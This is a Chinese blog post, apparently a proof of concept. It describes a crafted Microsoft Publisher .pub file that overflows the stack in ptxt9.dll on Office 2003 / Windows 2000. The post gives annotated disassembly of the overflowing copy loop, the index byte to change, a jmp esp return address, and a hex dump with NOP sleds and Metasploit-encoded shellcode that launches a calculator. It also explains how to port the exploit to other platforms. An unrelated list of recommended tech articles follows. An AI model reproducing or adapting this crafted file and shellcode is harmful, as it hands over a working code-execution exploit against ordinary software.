手动构造了一个.pub文件,office 2003和windows 2000 server下成功运行一个计算器,不同的系统平台
在文件偏移0x78fe修改jmp esp的地址就可以了,漏洞跟ms08-011的差不多,存在漏洞的模块
ptxt9.dll文件中
text:31E1BABF push ebp
.text:31E1BAC0 mov ebp, esp
.text:31E1BAC2 sub esp, 1Ch //分配的堆栈
.text:31E1BAC5 mov edx, [ebp+arg_0]
.text:31E1BAC8 push esi
.text:31E1BAC9 mov esi, ecx
.text:31E1BACB lea ecx, [ebp+var_1C]
.text:31E1BACE call bo_31E1BA3A
.text:31E1BAD3 lea eax, [ebp+var_1C]
.text:31E1BAD6 push eax
.text:31E1BAD7 mov ecx, esi
.text:31E1BAD9 call sub_31E19AB7
.text:31E1BADE pop esi
.text:31E1BADF leave
.text:31E1BAE0 retn 4
.text:31E1BAE0 sub_31E1BABF endp
.text:31E1BA3A push ebx
.text:31E1BA3B push esi
.text:31E1BA3C mov esi, edx
.text:31E1BA3E mov ax, [esi]
.text:31E1BA41 mov ebx, ecx
.text:31E1BA43 lea edx, [esi+2]
.text:31E1BA46 lea ecx, [ebx+2]
.text:31E1BA49 mov [ebx], ax
.text:31E1BA4C call sub_31E1BA2E
.text:31E1BA51 mov ax, [esi+8] //取索引号, 这里作为一个内存复制的计数器,手动构造,可以触发溢出。
.text:31E1BA55 mov [ebx+0Ah], ax
.text:31E1BA59 mov al, [ebx+0Ch]
.text:31E1BA5C xor al, [esi+0Ah]
.text:31E1BA5F xor edx, edx
.text:31E1BA61 and eax, 3
.text:31E1BA64 xor [ebx+0Ch], ax
.text:31E1BA68 mov cx, [ebx+0Ch]
.text:31E1BA6C mov al, [esi+0Ah]
.text:31E1BA6F xor al, cl
.text:31E1BA71 and eax, 4
.text:31E1BA74 xor eax, ecx
.text:31E1BA76 mov [ebx+0Ch], ax
.text:31E1BA7A mov cl, [esi+0Ah]
.text:31E1BA7D xor cl, al
.text:31E1BA7F and ecx, 8
.text:31E1BA82 xor ecx, eax
.text:31E1BA84 mov [ebx+0Ch], cx
.text:31E1BA88 mov al, [esi+0Ah]
.text:31E1BA8B xor al, cl
.text:31E1BA8D and eax, 0Fh
.text:31E1BA90 xor ax, [esi+0Ah]
.text:31E1BA94 cmp [ebx+0Ah], dx
.text:31E1BA98 mov [ebx+0Ch], ax
.text:31E1BA9C jle short loc_31E1BABC
.text:31E1BA9E lea ecx, [ebx+0Eh]
.text:31E1BAA1 lea eax, [esi+0Ch]
.text:31E1BAA4 push edi
.text:31E1BAA5
.text:31E1BAA5 loc_31E1BAA5: ; CODE XREF: bo_31E1BA3A+7F j
.text:31E1BAA5 mov esi, eax
.text:31E1BAA7 mov edi, ecx
.text:31E1BAA9 movsd
.text:31E1BAAA movsd
.text:31E1BAAB movsd //每次复制12个字节
.text:31E1BAAC movsx esi, word ptr [ebx+0Ah]
.text:31E1BAB0 inc edx
.text:31E1BAB1 add eax, 0Ch
.text:31E1BAB4 add ecx, 0Ch
.text:31E1BAB7 cmp edx, esi //判断
.text:31E1BAB9 jl short loc_31E1BAA5
.text:31E1BABB pop edi
.text:31E1BABC
.text:31E1BABC loc_31E1BABC: ; CODE XREF: bo_31E1BA3A+62 j
.text:31E1BABC pop esi
.text:31E1BABD pop ebx
.text:31E1BABE retn
.text:31E1BABE bo_31E1BA3A endp
000078c0h: 43 48 4E 4B 49 4E 4B 20 04 00 07 00 0F 00 00 03 ; CHNKINK ........
000078d0h: 00 02 00 00 00 0C 00 00 F8 01 0F 00 FF FF FF FF ; ........?..
修改的索引号
|
0x2f
000078e0h: 18 00 54 45 58 54 00 00 2F 00 00 00 00 00 00 00 ; ..TEXT../.......
000078f0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x77e188a7覆盖返回地址,这个是jmp esp的地址
A7 88 ; ..............
00007900h: E1 77
这里是跟的编码过的shellcode,来自于metasploit
90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 醱悙悙悙悙悙悙悙
00007910h: 90 90 EB 03 59 EB 05 E8 F8 FF FF FF 49 49 49 49 ; 悙?Y?桫IIII
00007920h: 49 49 49 49 49 49 49 49 49 37 49 49 49 49 51 5A ; IIIIIIIII7IIIIQZ
00007930h: 6A 42 58 50 30 41 31 42 41 6B 41 41 52 32 41 42 ; jBXP0A1BAkAAR2AB
00007940h: 41 32 42 41 30 42 41 58 50 38 41 42 75 38 69 79 ; A2BA0BAXP8ABu8iy
00007950h: 6C 4A 48 67 34 47 70 77 70 53 30 6E 6B 67 35 45 ; lJHg4GpwpS0nkg5E
00007960h: 6C 4C 4B 73 4C 74 45 31 68 54 41 68 6F 6C 4B 70 ; lLKsLtE1hTAholKp
00007970h: 4F 57 68 6E 6B 71 4F 45 70 65 51 5A 4B 67 39 4C ; OWhnkqOEpeQZKg9L
00007980h: 4B 50 34 4C 4B 77 71 68 6E 75 61 4B 70 4E 79 6E ; KP4LKwqhnuaKpNyn
00007990h: 4C 4D 54 4B 70 72 54 65 57 69 51 49 5A 46 6D 37 ; LMTKprTeWiQIZFm7
000079a0h: 71 6F 32 4A 4B 58 74 77 4B 41 44 44 64 35 54 72 ; qo2JKXtwKADDd5Tr
000079b0h: 55 7A 45 6C 4B 53 6F 51 34 37 71 48 6B 51 76 4C ; UzElKSoQ47qHkQvL
000079c0h: 4B 76 6C 50 4B 6E 6B 71 4F 67 6C 37 71 68 6B 4C ; KvlPKnkqOgl7qhkL
000079d0h: 4B 65 4C 4C 4B 64 41 58 6B 4B 39 53 6C 75 74 46 ; KeLLKdAXkK9SlutF
000079e0h: 64 78 43 74 71 49 50 30 64 6E 6B 43 70 44 70 4C ; dxCtqIP0dnkCpDpL
000079f0h: 45 4F 30 41 68 44 4C 4E 6B 63 70 44 4C 6E 6B 30 ; EO0AhDLNkcpDLnk0
00007a00h: 70 65 4C 4E 4D 6C 4B 30 68 75 58 7A 4B 35 59 4C ; peLNMlK0huXzK5YL
00007a10h: 4B 4D 50 58 30 37 70 47 70 77 70 6C 4B 65 38 57 ; KMPX07pGpwplKe8W
00007a20h: 4C 31 4F 66 51 48 76 65 30 70 56 4D 59 4A 58 6E ; L1OfQHve0pVMYJXn
00007a30h: 63 69 50 31 6B 76 30 55 38 5A 50 4E 6A 36 64 63 ; ciP1kv0U8ZPNj6dc
00007a40h: 6F 61 78 6A 38 4B 4E 6C 4A 54 4E 76 37 6B 4F 4B ; oaxj8KNlJTNv7kOK
00007a50h: 57 70 63 51 71 32 4C 52 43 37 70 42 90 90 90 90 ; WpcQq2LRC7pB悙悙
00007a60h: 90 90 90 90 90 90 90 90 01 00 00 00 54 45 58 ; 悙悙悙悙....TEX
相关推荐
如何用YOLOv5改进无人机小目标检测?MFFSODNet实战教程(附代码)
本文详细介绍了如何利用YOLOv5框架结合MFFSODNet网络结构优化无人机航拍图像中的小目标检测。通过引入微小目标预测头、多尺度特征提取模块(MSFEM)和双向密集特征金字塔网络(BDFPN)等核心技术,显著提升了小目标检测精度。文章提供了完整的代码实现方案,并展示了在农业监测、电力巡检等实际场景中的应用效果。
DBCC使用之:使用DBCC来探索ASE中的索引页及数据页结构
可能要用到的DBCC指令: 1> dbcc help(log)2> golog( [dbid | dbname] [,objid | objname] [,page] [,row] [,nrecords] [,type={-1..84 }] ,printopt={ 0 | 1 | 2 | 3 } [,indid | indname] [,ptnid | ptnname] )1> ...
从零构建PEMFC仿真模型:MATLAB/Simulink中的模块化拆解与系统集成
本文详细介绍了如何在MATLAB/Simulink环境中从零构建质子交换膜燃料电池(PEMFC)仿真模型,包括电化学模型、气体供应系统和热管理系统的模块化实现。通过多物理场耦合技巧和系统集成策略,帮助工程师和研究者高效开发PEMFC控制策略,优化性能并实现实时仿真。
We found potential security vulnerabilities in your dependencies. Only the owner of this reposito...
删除package-lock.json并同步到git 定义的依赖项./package-lock.json具有已知的安全漏洞 找到一个叫做.gitignore,把package-lock.json贴在这个文件里 [外链图片转存失败(img-V8oNIMvg-1563449856873)(https://upload-images.jianshu.io/upload_images/11158618-b...
从安装到出图:一份给振动测试新手的LMS Test.Lab 2021完整避坑手册(含许可证更新和常见弹窗解决)
本文为振动测试新手提供LMS Test.Lab 2021的完整使用指南,涵盖安装配置、许可证更新、数据采集到频域后处理的全流程。特别针对常见弹窗错误提供解决方案,并详细讲解Colormap时频图分析技巧,帮助用户快速掌握振动数据分析核心技能。
RealSense D455启动教程
RealSense D455启动教程 修改rs_camera.launch
拆东墙补西墙之github上提示We found potential security vulnerabilities in your dependencies.存在潜在安全漏洞的问题
1.报错如图 2.点击see security alert 显示如下图 3.点击webpack-dev-server后如下图 提示webpack-dev-server版本低于3.1.11 4.解决思路以及方法(亲测 可以解决github上的报错 但是本地npm run dev运行不起来 提示cannt destructure property compile of u...
Proteus 8.15仿真STM32F103C8,ADC采样总为0?别急着换芯片,先检查这3个配置
本文详细解析了在Proteus 8.15中仿真STM32F103C8时ADC采样值为0的常见原因及解决方法。从供电网络配置、时钟设置到ADC参数调整,提供了系统性的排查指南,帮助开发者快速定位问题,避免不必要的硬件更换。重点关注供电网络、时钟分频和ADC配置等关键环节。
Pivotal Support Services Offerings
Scope of Premium Support Services Premium Support Services are available for all Pivotal Software customers as follows: Global, 24x7 support for Severity 1 issues Fast response times for critical issu...
RK3568平台(USB篇)USB HUB集线器
hub,集线器,连接在host与device之间的一种用于usb接口扩展的usb设备。可以将一个usb上行接口扩展为多个下行接口,使得一个host可以同时与多个device连接。一般来说,一块hub桥接芯片可扩展4个usb接口,而市面上的一拖七hub,其实使用了两块hub桥接芯片,其中一块hub桥接芯片的上行端口连接到另一块hub桥接芯片的下行端口。hub的上行端口面向host,下行端口面向device。在下行端口上,hub提供了设备接入检测和设备移除检测的能力,并给下行端口供电。
【2024/3/12 更新】Windows Server 2019 服务配置与管理汇总
本栏目一共介绍了17种Windows Server 2019 的服务配置与管理,为了方便大家阅读理解,特意总结了17种服务的一些内容。具体说明如下所示
github代码仓库提示:“We found a potential security vulnerability in one of your dependencies”
最近为了不同电脑可以同步编辑hexo博客,为此新建了一个分支,把master上的全部copy到hexo分支,出现了这个提示 最后找到的解决方案如下 首先删除package-lock.json 并同步到git,保证git上面没有lock这个文件,不会出警报; 然后在本地文件夹把package-lock.json 还原回来 找到一个叫做 .gitignore,把package-lock.json贴在...
《大数据: Hive 交互命令和常用配置》
一、Hive 交互命令 1. 首先解决一个可能发生的问题 (log4 jar包冲突) 我这里解决方法就是删除一个,我删的是hive下的包 yexiang@hadoop1:<hive>$ hive SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/opt/soft/apache-hive-2.3.7-bin/lib/log4j-slf4j-impl-2.6.2.ja.
设置ODBC的自定义类CSetODBC
何志丹一,功能描述用于配置数据源用户名及密码.1,可以得到连接串,此串可用于CMyRecordset(派生于CRecordset)的GetDefaultConnect(),也可以用干CDataBase类OpenEx.2,如果用户配置正确,只需要配置一次,相关信息记录在文件.3,可以指定存储信息的文件名.因为有可能几个程序共用一个数据源.4,用户可以重新配置数据5,可以得到当前数据的类型.6
Camera2Demo
在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作
数学建模模型总结
这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!
微软技术日报 2026-11-05:安装器变现链被拆开、OneLake 托管 MCP、Agent 365 进 Gartner 象限
把这几条放在一起看,共同点是把已经铺开的东西补上治理。安装器那条最直白。用户自己点开的程序,装完还会往回连,落地的东西藏在计划任务里、Program Files 里,用户不知道。微软给的检测思路也是往这个方向走的,看临时目录、看回调、看 SYSTEM 任务,而不是追域名。OneLake 那条是给 agent 补路标。以前每种 item 类型都要维护一份端点清单,现在让服务自己报出来。好处是 agent 不用猜,代价是判断责任转移到了客户端,技能要不要加载得自己决定,标签也不能当成授权。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
微软技术日报 11-08:Foundry 与 Entra 各挂一个 10.0 分漏洞,Foundry 接 fal 五款视频模型
这一周的动作可以分成两类。一类在收。Copilot 从电视上退场,搜索里的 AI 改成可选,云端漏洞只发通知不收补丁。共同点是承认铺得太开,代价比预期高。另一类在放。Foundry 一次摆上五个视频模型,容器版应用网关一个入口挂 64 个 MCP 服务器。共同点是把能力做成可组合的积木,让使用者按需挑。两个方向背后是同一个判断。把能力塞到每一个界面上,短期看覆盖率高,长期要解释为什么删不掉。新的做法是先给一个能关的开关,再谈覆盖。对每天写代码的人来说,今天有两样现成的东西可以试。
最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版
Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。
微软常用运行库合集免费下载安装教程(附运行库安装包)微软运行库安装图文教程
系统装完后出现“丢失xxx.dll”错误,多因缺少微软运行库所致。微软常用运行库合集将2005至2022年主流版本打包,一键安装,覆盖绝大多数软件依赖。无需判断版本,全选安装即可,装完建议重启。该合集可重复安装,不冲突,且与系统自带组件共存。适用于刚装系统的用户,能有效解决软件打不开、闪退等问题。
【测评】SenseNova6.8Flash模型正式发布,支持动态 PPT 及 3D 设计
SenseNova 6.8 Flash将设计生成拓展至多种创作形态,支持Web、SVG、Three.js、Blender、PPT等形式,满足多样化的AI Native Design需求,并支持动态PPT、动态Poster与Agentic 3D设计。同时,模型可接入Figma等专业工作流,帮助用户将AI设计能力融入现有的专业设计流程。此外,模型还支持三维场景与交互内容创作,可综合处理空间布局、材质与光照、镜头控制及动画编排等因素,构建可在网页中实时渲染的三维内容,拓展从立体视觉展示到动态交互的表达方式。
微软推出 dotnetup:多版本管理更省心~
这是一个官方出品的.NET 工具链管理器,目前处于公共预览阶段,定位类似 Rust 生态中的 rustup。。
Qt窗口:对话框:模态、非模态、混合属性;内置对话框:消息、颜色、文件、字体、输入
对话框:模态exec、非模态show、混合属性setModal(true)+show;内置对话框:消息QMessageBox、颜色QColorDialog、文件QFileDialog、字体QFontDialog、输入QInputDialog
微软技术日报 2026-11-03:冒牌 Claude Code 扩展留后门、Fabric 数据工程 agent 进预览、Access IE 控件定退场
微软安全博客在 10 月 30 日复盘了一起扩展市场供应链事件:一个冒用 Anthropic 名字的 Cursor 扩展,在被下架之前挂了约 11 个小时。它做的事情不复杂,装完之后在你机器上开一条反向 SSH 隧道,留三处开机自启,再把主机信息发回一台固定 IP 的服务器。同一天前后,微软在 Fabric 社区大会巴塞罗那站把数据工程 agent(Project Osmos)放进了公共预览,在乌镇拿了一个奖,Access 团队则给一个用了二十年的浏览器控件定了退场日期。
微软确认支持的 Windows 10 可直接升级 Windows 11 26H2
2026年10月28日,微软宣布Windows 11 26H2更新已全面推送至所有符合条件的设备,包括部分Windows 10系统。该版本带来更低内存占用与更流畅体验,支持从24H2、25H2原地升级,可通过eKB5121794启用包或官方MCT工具手动升级。全新安装可使用KB5127648 ISO镜像。更多资讯请关注简鹿办公。
微软技术日报 2026-11-02:开发者环境服务退役、Defender 清点本地 AI 代理
从这里开始,五分钟看完微软技术圈一夜之间的变化。
微软 BioEmu2 实测:AI 设计的抗体,能否通过动态模拟提前筛选?
微软 BioEmu2 实测:AI 设计的抗体,能否通过动态模拟提前筛选?**2026 年 10 月 26 日,展示了一个 AI 抗体候选的 10 纳秒传播动画。**但这个案例留下的最大问题,仍是实验室门前那道选择题:一批看起来合理的设计,究竟该把哪几个送去测试?Ford 正在参与 Adaptyv 与 Anthropic 的蛋白设计竞赛,也在开发抗体语言模型。**但他在原文中坦言,生成候选容易,挑出值得测试的候选依然困难。**本文解读他的公开实测,并对照微软文档核查证据边界,未独立运行模型。
视频美颜sdk的API设计会影响开发效率吗?
视频美颜SDK不仅需要具备优秀的图像处理能力,API接口设计同样会影响软件开发效率。本文从接口调用、参数配置、版本兼容、开发文档以及业务扩展等多个角度,分析API设计对视频美颜SDK集成和后期维护的实际影响,为直播APP、视频社交平台等项目的SDK选型与技术开发提供参考。
微软技术日报 2026-11-04:8GB 专属优化、38 万漏洞利用统计、NuGet 包带技能
11 月的第一周,微软把注意力放回了最不显眼的那批机器。11 月 3 日,Windows 官方博客发出一篇由 Pavan Davuluri 署名的文章。他是微软执行副总裁,负责 Windows 与设备。文章的题目直白得少见,讲的是怎么把 8GB 内存的 Windows 11 电脑拉到及格线以上。同一天,.NET 博客在讲另一件事,怎么把 agent skills 塞进 NuGet 包。11 月 2 日,微软安全研究发了一份跨 27 年的漏洞利用统计。
738



被折叠的 条评论
为什么被折叠?



